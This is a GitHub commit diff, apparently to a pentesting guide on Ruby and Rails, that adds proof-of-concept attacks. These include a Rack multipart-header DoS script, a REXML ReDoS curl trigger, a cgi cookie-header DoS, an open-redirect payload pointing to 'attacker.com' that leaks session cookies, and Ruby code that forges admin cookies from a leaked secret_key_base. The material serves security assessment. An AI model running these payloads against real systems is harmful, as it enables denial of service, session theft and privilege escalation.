You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Rack < `3.0.9.1` and < `2.2.8.1` spent super-linear time parsing crafted `Content-Type: multipart/form-data` headers. A single POST with a gigantic `A=` parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
47
+
48
+
- Quick PoC (will hang one worker):
49
+
```bash
50
+
python - <<'PY'
51
+
import requests
52
+
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
- Works against any Rack-based stack (Rails/Sinatra/Hanami/Grape). If fronted by nginx/haproxy with keep-alive, repeat in parallel to exhaust workers.
57
+
- Patched by making parser linear; look for `rack` gem version < `3.0.9.1` or < `2.2.8.1`. In assessments, point out that WAFs rarely block this because the header is syntactically valid.
58
+
59
+
## REXML XML parser ReDoS (CVE-2024-49761)
60
+
61
+
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
62
+
63
+
Minimal trigger against a Rails endpoint that parses XML:
64
+
```bash
65
+
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
Apps using the `cgi` gem (default in many Rack stacks) can be frozen with a single malicious header:
73
+
-`CGI::Cookie.parse` was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
74
+
-`CGI::Util#escapeElement` regex allowed ReDoS on HTML escaping.
75
+
76
+
Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive `Cookie:` header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
77
+
78
+
## Basecamp `googlesign_in` open redirect / cookie flash leak (CVE-2025-57821)
79
+
80
+
The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
81
+
82
+
Exploit flow:
83
+
1. Victim clicks crafted Google Sign-In link hosted by attacker.
84
+
2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
85
+
3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.
86
+
87
+
During testing, grep Gemfile.lock for `googlesign_in` < 1.3.0 and try malformed `proceedto` values. Confirm via Location header and cookie reflection.
88
+
44
89
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
45
90
46
91
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
47
92
48
93
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
94
+
95
+
<details>
96
+
<summary>Ruby to decrypt/forge cookies</summary>
97
+
49
98
```ruby
50
99
require'cgi'
51
100
require'json'
@@ -70,6 +119,8 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
70
119
forged = enc.encrypt_and_sign(plain)
71
120
puts"Forged cookie: #{CGI.escape(forged)}"
72
121
```
122
+
123
+
</details>
73
124
Notes:
74
125
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
75
126
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
@@ -168,12 +219,13 @@ URL-encoded PoC (first char is a newline):
168
219
169
220
## References
170
221
171
-
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
172
-
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
222
+
-[Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)](https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670)
223
+
-[GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)](https://github.com/advisories/GHSA-7wqh-767x-r66v)
0 commit comments